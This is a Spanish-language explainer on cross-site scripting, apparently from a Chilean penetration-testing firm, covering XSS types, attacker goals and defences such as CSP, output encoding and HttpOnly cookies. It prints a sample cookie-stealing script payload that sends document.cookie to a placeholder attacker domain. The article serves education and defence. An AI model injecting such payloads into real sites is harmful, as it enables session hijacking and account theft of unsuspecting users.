Qué es XSS (Cross-Site Scripting): cómo funciona y cómo proteger tu sitio web
El Cross-Site Scripting, conocido universalmente como XSS, es una de las vulnerabilidades web más antiguas, más comunes y más subestimadas que existen. Aparece año tras año en el OWASP Top 10, ha sido el vector de ataques masivos contra plataformas como Twitter, eBay y British Airways, y aun así sigue siendo ignorada en miles de aplicaciones que hoy mismo están en producción.
Si tienes un sitio web, una aplicación web o eres desarrollador, esto te afecta directamente.
¿Qué es XSS exactamente?
XSS es una vulnerabilidad de seguridad que permite a un atacante inyectar código JavaScript malicioso dentro de una página web legítima. Ese código se ejecuta en el navegador de otros usuarios — no en el servidor — lo que significa que el ataque ocurre del lado del cliente, sin que la víctima lo note.
La premisa es sencilla: si una aplicación web recibe datos del usuario y los muestra en pantalla sin sanitizarlos correctamente, un atacante puede ingresar código en lugar de texto plano. Cuando otro usuario carga esa página, el navegador ejecuta ese código como si fuera parte legítima del sitio.
Los tres tipos de XSS que debes conocer
XSS Reflejado (Reflected XSS)
El payload malicioso viaja en la URL o en una petición HTTP y se “refleja” directamente en la respuesta del servidor. No se almacena en ningún lado — el ataque solo funciona si la víctima hace clic en un enlace especialmente construido.
Es el tipo más común en campañas de phishing: el atacante envía un link aparentemente legítimo que lleva al dominio real de la víctima, pero con un script incrustado en los parámetros.
XSS Almacenado (Stored XSS)
Aquí el payload se guarda en la base de datos del sitio — en un comentario, un mensaje, un campo de perfil — y se ejecuta cada vez que alguien visita esa página. Es el más peligroso: no requiere que el atacante interactúe con la víctima después de la inyección inicial.
Un solo comentario malicioso en un foro puede comprometer a miles de usuarios durante días o semanas.
XSS basado en DOM (DOM-based XSS)
A diferencia de los anteriores, este tipo no pasa por el servidor. El payload se ejecuta directamente en el navegador al manipular el DOM mediante JavaScript del lado del cliente. Es el más difícil de detectar porque no deja rastro en los logs del servidor.
¿Cómo se explota un XSS? El flujo real de un ataque
Para entender la gravedad de XSS, hay que entender lo que un atacante puede hacer una vez que logra ejecutar JavaScript en el navegador de otro usuario.
El escenario típico de un ataque Reflected o Stored sigue este flujo:
- El atacante identifica un campo o parámetro vulnerable — un buscador, un formulario de comentarios, un campo de perfil.
- Inyecta un payload JavaScript, desde algo tan simple como
<script>alert(1)</script>hasta scripts complejos que cargan recursos externos. - El navegador de la víctima carga la página y ejecuta el código inyectado, creyendo que es parte legítima del sitio.
- El atacante obtiene lo que buscaba: cookies, tokens, credenciales o acceso completo a la sesión activa.
Un ejemplo clásico de payload de robo de cookie:
<script>document.location='https://atacante.com/steal?c='+document.cookie</script>
Con ese fragmento, el atacante recibe la cookie de sesión de la víctima en su propio servidor y puede hacerse pasar por ella sin necesidad de contraseña.
¿Qué buscan los atacantes con XSS?
XSS no es solo un “alert(1)” en la consola. En un escenario real, los atacantes lo usan para objetivos concretos y de alto impacto:
Robo de sesiones (Session Hijacking): Capturar cookies de sesión para suplantar usuarios sin necesidad de credenciales. Si la cookie no tiene el flag HttpOnly, es completamente accesible desde JavaScript.
Keylogging: Inyectar un listener de teclado que registra todo lo que el usuario escribe — incluyendo contraseñas y números de tarjetas de crédito — y lo envía al servidor del atacante.
Redirección y phishing: Redirigir al usuario a una página falsa idéntica al sitio original para capturar credenciales. Como la URL de origen es el dominio legítimo, el usuario no sospecha nada.
Defacement: Modificar visualmente el contenido de la página — mostrar mensajes, imágenes o información falsa — afectando la reputación del sitio.
Propagación y gusanos web: El caso más extremo. Un XSS almacenado puede autoreplicarse: cuando un usuario autenticado visita la página infectada, el script realiza acciones en su nombre (publicar el mismo payload en su propio perfil), propagándose de forma viral. El gusano Samy de 2005 infectó más de un millón de perfiles de MySpace en menos de 24 horas usando exactamente este vector.
Explotación de permisos del navegador: JavaScript tiene acceso a la cámara, micrófono, geolocalización y portapapeles del usuario (con los permisos correspondientes). Un atacante con XSS puede abusar de permisos que el usuario ya concedió al sitio legítimo.
Ataques a la red interna (Internal Network Scanning): Desde el navegador de la víctima, el atacante puede escanear puertos y servicios de la red interna corporativa — algo que desde el exterior sería imposible.
¿Por qué XSS sigue siendo tan prevalente?
A pesar de ser una vulnerabilidad conocida desde los años 90, XSS sigue siendo una de las más encontradas en auditorías. Las razones son múltiples:
La superficie de ataque crece constantemente. Cada formulario, cada parámetro, cada integración de terceros es un punto de entrada potencial. Los frameworks modernos como React o Angular tienen protecciones por defecto, pero los desarrolladores las desactivan con dangerouslySetInnerHTML o innerHTML sin entender las implicancias. Las aplicaciones legacy escritas en PHP o ASP clásico aún abundan en el ecosistema empresarial chileno y latinoamericano. Y los WAF mal configurados dan una falsa sensación de seguridad.
Cómo prevenir XSS: las medidas que realmente funcionan
La defensa contra XSS no es un parche puntual — es una disciplina de desarrollo seguro aplicada en capas.
Output Encoding: Toda salida dinámica que provenga de datos externos debe ser codificada según el contexto (HTML, JavaScript, URL, CSS). En HTML, caracteres como <, >, ", ' deben convertirse en sus entidades correspondientes. Esta es la medida más importante.
Content Security Policy (CSP): Una cabecera HTTP que le dice al navegador exactamente desde qué orígenes puede cargar scripts. Una CSP bien configurada puede bloquear la ejecución de scripts inyectados incluso cuando existe una vulnerabilidad XSS subyacente.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.confiable.com;
Flags en cookies: Las cookies de sesión deben tener siempre los flags HttpOnly (inaccesible desde JavaScript) y Secure (solo sobre HTTPS). Esto no previene el XSS, pero elimina el objetivo más común del atacante.
Validación de entrada: Nunca confiar en los datos que llegan del cliente. Validar tipo, formato y longitud antes de procesarlos o almacenarlos.
Usar frameworks con escape automático: React, Angular y Vue escapen el output por defecto. Aprovecha esa protección y evita los métodos que la deshabilitan salvo que sea estrictamente necesario.
Auditorías y pentesting: Las herramientas automáticas (scanners) detectan XSS obvios, pero un pentester experimentado encuentra los vectores que los scanners no ven — XSS en flujos de autenticación, en headers HTTP, en endpoints de API JSON, en funcionalidades de carga de archivos.
Preguntas frecuentes sobre XSS
¿XSS afecta solo a sitios con mucho tráfico?
No. Cualquier sitio web que procese y muestre datos del usuario es potencialmente vulnerable. Los atacantes utilizan herramientas automatizadas que escanean miles de sitios en busca de vulnerabilidades sin importar el tamaño.
¿Tener HTTPS protege contra XSS?
No. HTTPS cifra el canal de comunicación, pero no protege contra código malicioso que ya está siendo servido desde el servidor legítimo. Son capas de seguridad distintas.
¿Un WAF es suficiente para protegerme de XSS?
Un WAF es una capa de defensa útil, pero no suficiente. Los atacantes usan técnicas de evasión (encoding, políglotas, bypass de filtros) que los WAF no siempre detectan. La solución correcta es secure coding desde el origen.
¿Cómo sé si mi sitio tiene XSS?
La forma más confiable es a través de una auditoría de seguridad web (pentest) realizada por profesionales. Los scanners automáticos son un complemento, no un reemplazo.
Conclusión
XSS es una vulnerabilidad que combina lo peor de dos mundos: es extremadamente común y puede tener consecuencias devastadoras. Robo de cuentas, fraude, daño reputacional, fuga de datos sensibles — todo esto está al alcance de un atacante con los conocimientos correctos y un campo de texto sin sanitizar.
La buena noticia es que con las prácticas correctas de desarrollo seguro, XSS es completamente prevenible. El problema no es técnico — es de priorización.
¿Tu aplicación web está expuesta a XSS?
En SecureHex realizamos pruebas de penetración web especializadas, diseñadas para encontrar las vulnerabilidades que los scanners automáticos no detectan — incluyendo XSS en sus variantes más complejas, lógica de negocio y vectores no convencionales.
Nuestro equipo tiene experiencia real en ambos lados: sabemos cómo piensa un atacante y sabemos cómo ayudarte a cerrar las brechas antes de que alguien más las encuentre.
→ Solicita una evaluación de seguridad web en securehex.cl